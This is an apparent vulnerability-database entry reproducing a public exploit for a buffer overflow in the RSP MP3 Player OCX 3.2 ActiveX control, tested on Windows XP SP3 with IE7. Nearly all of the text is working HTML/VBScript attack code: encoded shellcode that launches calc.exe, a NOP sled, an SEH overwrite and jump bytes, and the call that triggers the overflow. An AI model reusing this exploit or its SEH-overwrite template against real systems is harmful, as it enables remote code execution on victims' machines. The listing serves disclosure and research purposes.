RSP MP3 Player OCX 3.2 ActiveX Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

RSP MP3 Player OCX 3.2 ActiveX Buffer Overflow. Exploit using shellcode to execute calc.exe on Windows XP SP3 / IE7


                                                &#60;html&#62;
&#60;object classid=&#39;clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687&#39; id=&#39;target&#39;&#62;&#60;/object&#62;
&#60;script language=&#39;vbscript&#39;&#62;
&#39; Exploit Title: RSP MP3 Player OCX 3.2 ActiveX Buffer Overflow
&#39; Date: July 9, 2010
&#39; Author: Blake
&#39; Software Link: http://download.cnet.com/RSP-MP3-Player-OCX/3000-2206_4-10860503.html?tag=mncol
&#39; Version: 3.2
&#39; Tested on: Windows XP SP3 / IE7 in VirtualBox

&#39; EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2
shellcode = unescape(&#34;%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49&#34;) & _
unescape(&#34;%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68&#34;) & _
unescape(&#34;%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42&#34;) & _
unescape(&#34;%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a&#34;) & _
unescape(&#34;%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c&#34;) & _
unescape(&#34;%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45&#34;) & _
unescape(&#34;%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70&#34;) & _
unescape(&#34;%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c&#34;) & _
unescape(&#34;%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f&#34;) & _
unescape(&#34;%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d&#34;) & _
unescape(&#34;%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46&#34;) & _
unescape(&#34;%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77&#34;) & _
unescape(&#34;%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a&#34;) & _
unescape(&#34;%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f&#34;) & _
unescape(&#34;%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35&#34;) & _
unescape(&#34;%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d&#34;) & _
unescape(&#34;%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71&#34;) & _
unescape(&#34;%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f&#34;) & _
unescape(&#34;%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52&#34;) & _
unescape(&#34;%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61&#34;) & _
unescape(&#34;%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35&#34;) & _
unescape(&#34;%50%68&#34;)

buffer1 = string(221, &#34;A&#34;)
nops = string(40, unescape(&#34;%90&#34;))                            &#39; nop sled
near_jmp = unescape(&#34;%e9%5e%fe%ff%ff&#34;)                &#39; jump back 418
next_seh = unescape(&#34;%eb%f9%90%90&#34;)                   &#39; jump back
seh = unescape(&#34;%56%29%d1%72&#34;)                          &#39; 0x72D12956
buffer2 = string(1000, &#34;C&#34;)

exploit = buffer1 + nops + shellcode + nops + near_jmp + next_seh + seh + buffer2
target.OpenFile exploit

&#60;/script&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1